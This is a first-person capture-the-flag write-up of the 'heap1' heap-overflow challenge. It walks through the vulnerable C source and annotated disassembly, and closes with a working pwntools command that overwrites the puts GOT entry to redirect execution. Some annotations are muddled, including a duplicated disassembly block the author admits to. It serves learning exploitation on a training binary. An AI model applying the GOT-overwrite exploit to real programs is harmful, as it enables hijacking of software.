#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct internet {
int priority;
char *name;
};
void winner() {
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char **argv) {
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
lets walk through this and break it down we have a structure called internet, this contains an int of priority and a string name we have our winner function next, this is what we want to direct program execution to then in our main function, we create 3 objects from our struct internet, i1, i2, and i3
then i1 will point to the allocated sizeof(struct internet), which is disassembly is equal to 8 i1 priority is equals to one, and the name variable will point to the allocated chunk on the heap each malloc in this script will allocate 8 bytes
the same happens for i2, it allocates 8 bytes on the heap, it's priority is set to 2, then sets the name variable to the dynamically allocated memory on the heap
we have initialized an i3 object, though it isnt used anywhere, i wonder if we will be using it for anything or just some pointless addition to this challenge
it will then strcpy argv 1 and 2 into i1->name and i2->name, this means we have a buffer overflow or, heap overflow? we have a heap overflow vulnerability, since we allocated 8 bytes on malloc, which name points to, then we do not sanitize user input, so we can input as many bytes as we want
the problem with this, is that nothing is being executed anymore, we have no way to call winner even if we were to overwrite some variable in the struct
if we were to find the offset to where the program gives us a segmentation fault, that would be 20, im not exactly sure what this is overwriting, but the buffer on the heap is 8, which means we overwrote 12 bytes of something, then overwrote something important
lets a little road trip in to how strcpy works, since i assume that is where our vulnerability lies, our catalyst for success
the buffer size does not matter, the only thing we want here is to see how strcpy is implemented, since if we are able to control the source, and destination of strcpy, then we are able to write whatever we want, wherever we want.
now as we know from the source code, this script will allocate a buffer for the input, then call strcpy with the src parameter as argv, and the dest parameter of our char buffer lets walk through one by one
push rbp ; init stack frame
mov rbp,rsp ;
sub rsp,0x30 ; allocate space on stack
mov DWORD PTR [rbp-0x24],edi ; argc
mov QWORD PTR [rbp-0x30],rsi ; argv
mov rax,QWORD PTR fs:0x28 ; mov the value of the stack canary into rax
mov QWORD PTR [rbp-0x8],rax ; write the canary to the stack at offset rbp-8
xor eax,eax ; clear eax
mov rax,QWORD PTR [rbp-0x30] ; mov the address of argv[0] into rax
add rax,0x8 ; add rax by 8, now it is pointing to argv[1]
mov rdx,QWORD PTR [rax] ; mov the value in rax(argv[1]), into rdx
lea rax,[rbp-0x20] ; load the address of our buffer, destination of the strcpy
mov rsi,rdx ; source, this holds the address of argv[1]
mov rdi,rax ; destination, rax held the address of "char buffer[20]"
call 1030 <strcpy@plt> ; call strcpy with parameters provided
mov eax,0x0 ; mov eax to 0, return value of the program
mov rcx,QWORD PTR [rbp-0x8] ; mov the value of the canary on the stack back into rcx to check
sub rcx,QWORD PTR fs:0x28 ; check if zero, if zero flag set, by sub, will jump back to main
je 119a <main+0x51> ; here will jump back to main
call 1040 <__stack_chk_fail@plt> ; else, will call stack check failed(stack canary), and term
leave ; deallocate
ret ; pop rip back to ret address
i hope i did this correctly, i sort of fumbled my way through this
now lets disassemble the ACTUAL binary we are attempting to exploit, since we now know how strcpy
works at its lowest level
lets disassemble main of heap1 now:
080484b9 <main>:
80484b9: 55 push ebp
80484ba: 89 e5 mov ebp,esp
80484bc: 83 e4 f0 and esp,0xfffffff0
80484bf: 83 ec 20 sub esp,0x20
80484c2: c7 04 24 08 00 00 00 mov DWORD PTR [esp],0x8
80484c9: e8 ee fe ff ff call 80483bc <malloc@plt>
80484ce: 89 44 24 14 mov DWORD PTR [esp+0x14],eax
80484d2: 8b 44 24 14 mov eax,DWORD PTR [esp+0x14]
80484d6: c7 00 01 00 00 00 mov DWORD PTR [eax],0x1
80484dc: c7 04 24 08 00 00 00 mov DWORD PTR [esp],0x8
80484e3: e8 d4 fe ff ff call 80483bc <malloc@plt>
80484e8: 89 c2 mov edx,eax
80484ea: 8b 44 24 14 mov eax,DWORD PTR [esp+0x14]
80484ee: 89 50 04 mov DWORD PTR [eax+0x4],edx
80484f1: c7 04 24 08 00 00 00 mov DWORD PTR [esp],0x8
80484f8: e8 bf fe ff ff call 80483bc <malloc@plt>
80484fd: 89 44 24 18 mov DWORD PTR [esp+0x18],eax
8048501: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18]
8048505: c7 00 02 00 00 00 mov DWORD PTR [eax],0x2
804850b: c7 04 24 08 00 00 00 mov DWORD PTR [esp],0x8
8048512: e8 a5 fe ff ff call 80483bc <malloc@plt>
8048517: 89 c2 mov edx,eax
8048519: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18]
804851d: 89 50 04 mov DWORD PTR [eax+0x4],edx
80484ea: 8b 44 24 14 mov eax,DWORD PTR [esp+0x14]
80484ee: 89 50 04 mov DWORD PTR [eax+0x4],edx
80484f1: c7 04 24 08 00 00 00 mov DWORD PTR [esp],0x8
80484f8: e8 bf fe ff ff call 80483bc <malloc@plt>
80484fd: 89 44 24 18 mov DWORD PTR [esp+0x18],eax
8048501: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18]
8048505: c7 00 02 00 00 00 mov DWORD PTR [eax],0x2
804850b: c7 04 24 08 00 00 00 mov DWORD PTR [esp],0x8
8048512: e8 a5 fe ff ff call 80483bc <malloc@plt>
8048517: 89 c2 mov edx,eax
8048519: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18]
804851d: 89 50 04 mov DWORD PTR [eax+0x4],edx
8048520: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
8048523: 83 c0 04 add eax,0x4
8048526: 8b 00 mov eax,DWORD PTR [eax]
8048528: 89 c2 mov edx,eax
804852a: 8b 44 24 14 mov eax,DWORD PTR [esp+0x14]
804852e: 8b 40 04 mov eax,DWORD PTR [eax+0x4]
8048531: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
8048535: 89 04 24 mov DWORD PTR [esp],eax
8048538: e8 4f fe ff ff call 804838c <strcpy@plt>
804853d: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
8048540: 83 c0 08 add eax,0x8
8048543: 8b 00 mov eax,DWORD PTR [eax]
8048545: 89 c2 mov edx,eax
8048547: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18]
804854b: 8b 40 04 mov eax,DWORD PTR [eax+0x4]
804854e: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
8048552: 89 04 24 mov DWORD PTR [esp],eax
8048555: e8 32 fe ff ff call 804838c <strcpy@plt>
804855a: c7 04 24 4b 86 04 08 mov DWORD PTR [esp],0x804864b
8048561: e8 66 fe ff ff call 80483cc <puts@plt>
8048566: c9 leave
8048567: c3 ret
this is a pretty hefty fella we got here, but it would be a good exercise to break this down, so i will try my best, if there are some things i am not sure about, i will most certainly ask questions within my comments here goes :/
push ebp ; this seems to be an x86 binary, hehe nice
mov ebp,esp ; establish stack frame
and esp,0xfffffff0 ; round the stack pointer
sub esp,0x20 ; allocate space
mov DWORD PTR [esp],0x8 ; mov the value 8 into the address of stack pointer??
call 80483bc <malloc@plt> ; ok, now malloc is called, so i have a few questions here
; does malloc take esp as a parameter?
; i know we are allocing 8 bytes on the heap, so this is the only sensible conclusion i have for this
; im also wondering about that, maybe malloc takes parameters on the stack in x86 as well?
; because we are moving it to the ADDRESS of esp right?, which points to the top of the stack
; which means that is the same thing as push, just gcc optimizing it right?
; its just a theory, but it was the only logical one i could come up with in my head
mov DWORD PTR [esp+0x14],eax ; pointer to address on heap returned through eax
mov eax,DWORD PTR [esp+0x14] ; store it as a variable on the stack
; this is very interesting i think i have a plausible theory
mov DWORD PTR [eax],0x1 ; this is changing the value of priority "i1->priority=1"
; i believe this is it, due to the fact that we had allocated
; the struct on the heap, "i1 = malloc(sizeof(struct internet));"
; which is what eax points to, eax points to the allocated struct on the heap
; and the first entry on that struct is priority, which is exactly it.
; another theory, im just lobbing these and hoping they land
mov DWORD PTR [esp],0x8 ; mov 8 back onto the top of the stack
call 80483bc <malloc@plt> ; calls malloc for name parameter
; "i1->name = malloc(8);"
; i got a little confused at this part, until remembered that there is a nested malloc
; now eax = i1->name = malloc(8);
; [esp+0x14] = i1 = malloc(sizeof(struct internet)); ; size_t = 8
mov edx,eax ; edx now contains pointer to nested allocated space on the heap
mov eax,DWORD PTR [esp+0x14] ; store pointer to heap on another local variable
mov DWORD PTR [eax+0x4],edx ; eax [eax+0x4] = i->name
mov DWORD PTR [esp],0x8 ; push 8 on the top of the stack again
call 80483bc <malloc@plt> ; call another malloc, this time i am assuming it is for i2
mov DWORD PTR [esp+0x18],eax ; eax is the pointer to address on heap, [esp+0x18] = malloc(8);
mov eax,DWORD PTR [esp+0x18] ; eax = *i2
mov DWORD PTR [eax],0x2 ; i2->priority = 2 ; eax points towards the first entry in the struct
mov DWORD PTR [esp],0x8 ; mov 8 into the top of the stack again to prepare for another malloc
call 80483bc <malloc@plt> ; malloc, pointer returned through eax
mov edx,eax ; edx = i2->name = malloc(8)
mov eax,DWORD PTR [esp+0x18] ; *i2 = eax ; pointer to i2 moved into eax
mov DWORD PTR [eax+0x4],edx ; mov pointer to allocated memory on heap into name
; we move up by 4, which is the name variable
; i2->name = *malloc(8);
; now this one is peculiar, there are 2 more mallocs, and i have checked the source for this area
; there should not be any more mallocs, we have finished initializing internet1 and 2, the only
; functions left are strcpy() and printf, so our best bet is to research into strcpy
; here are the full lines for strcpy:
;
; strcpy(i1->name, argv[1]);
; strcpy(i2->name, argv[2]);
;
; now from what we had just researched, strcpy inherintly does not utilize any heap operations
; what about i1->name? arent we accessing members on the heap?
; i dont think so either, we already have pointers to the heap address stored on the stack
; there would be no reason to malloc 16 more separate bytes on the heap?
;
; wait im stupid i copied too much mallocs, that is a mistake on my end
; ok whatever im just going to keep those notes since they explain the next part well
; sorry for the confusing, i had copied too many mallocs, that scared me for a bit
; please dont allow the rambling to confuse you, everything i have said in this particular area is
; null and void :)
; ok lets continue to the strcpy
mov eax,DWORD PTR [ebp+0xc] ; move the pointer to argv into eax
add eax,0x4 ; move the pointer from argv[0] to argv[1]
mov eax,DWORD PTR [eax] ; mov the dereference pointer of argv[1] into eax
mov edx,eax ; move the pointer into edx, probably as an src parameter for strcpy
mov eax,DWORD PTR [esp+0x14] ; mov the pointer to i1 into eax
mov eax,DWORD PTR [eax+0x4] ; change the pointer from i1->priority to i1->name
mov DWORD PTR [esp+0x4],edx ; [esp+0x4] points to i1->name, which was allocated on a separate
; area on the heap
; edx points to argv[1], which means that it is changing i1->name
; into a pointer to argv[1], which makes sense kind of
; i had personally thought that we would provide these parameters as registers, but i guess
; thats not the case, at least in my eyes, feel free to point out anything that went wrong
; during this explanation process if im blabbering nonsense
mov DWORD PTR [esp],eax ; mov eax to the top of the stack, eax points to il->name
call 804838c <strcpy@plt> ; then call strcpy, src and dest provided, argv[1] and i1->name
mov eax,DWORD PTR [ebp+0xc] ; mov eax to point to argv[0] again
add eax,0x8 ; change pointer from argv[0] to argv[2]
mov eax,DWORD PTR [eax] ; mov eax into the dereference pointer to eax
; which should be the value of argv[2]
mov edx,eax ; mov dereference pointer to argv[2] into edx
mov eax,DWORD PTR [esp+0x18] ; mov pointer to i2 into eax
mov eax,DWORD PTR [eax+0x4] ; mov dereference pointer of i2 into eax
; eax = i2->name ; eax+0x4 serves to access name, not priority
mov DWORD PTR [esp+0x4],edx ; edx = *argv[2] ; we are moving pointer to argv[2] into i2->name
mov DWORD PTR [esp],eax ; then we move the address of i2->name to the top of the stack
call 804838c <strcpy@plt> ; then we call strcpy, copies everything from argv[2] into i2->name
mov DWORD PTR [esp],0x804864b ; moves address of string into [esp], TOP OF THE STACK
call 80483cc <puts@plt> ; then we call puts(this should be printf, but optimized by gcc)
leave ; deallocate
ret ; return from procedure ; pop eip into ret addr
holy shit that took a long time, learned lots though i had no idea that strcpy worked like that welp, the more you know amiright :)
now that we have disassembled and understand each and every single instruction, we can begin to find ways to exploit this.
so the vulnerability that we have on our hands is "write what where", or an arbitrary write this is practically the same thing as exploiting a format string vulnerability. we could overwrite the GOT entry of puts into whatever we want, since GOT resides within .data which is read and writeable.
now that we have our vulnerability, we can begin to craft our simple exploit, fundementally doing the same as an fsb %n write exploit, i like this challenge due to them demonstrating that fsb's are not the only way to exploit the GOT/plt.
Since they are absolutely not practical and pretty much never seen anywhere anymore in software, its nice to see that this cool technique of GOT table overwrite has not gone to waste :)
lets get on with the challenge shall we?
i have a little explanation on what the Global Offset Table, and the Procedure Linkage Table are as well as the differences between dynamic and static linking here:
it does not explain how to overwrite the GOT, but i plan to write a post detailing that soon probably uwu
lets start this binary up in gdb and find the address of our GOT entry looking throught the main function, we see our puts entry inside the plt
0x08048561 <+168>: call 0x80483cc <puts@plt>
lets disas the plt entry:
gef➤ disas 0x80483cc
Dump of assembler code for function puts@plt:
0x080483cc <+0>: jmp DWORD PTR ds:0x8049774
0x080483d2 <+6>: push 0x30
0x080483d7 <+11>: jmp 0x804835c
End of assembler dump.
when called, plt will jump to the address of the puts GOT entry that is where GOT will be storing the address of puts within libc this will be where we want to write to, the GOT entry
we had discussed earlier that our offset would be 20 before we overwrote something important lets test this out:
here is our exploit for now, our offset will be 20 until we can overwrite our GOT entry lets check this out in a debugger, we can check the register values there
nice, our eip instruction register has been overwritten with 41414141, we have hijacked program execution, now all we have to do is swap "AAAA" with the address of winner.
I used pwntools since im lazy, but manually doing it will work as well
here is the final exploit:
./heap1 $(python2 -c 'from pwn import *; print"A"*20+p32(0x8049774)+" "+p32(0x08048494)')
and we have a winner @ 1616974343
thanks for reading, i learned lots from this challenge :D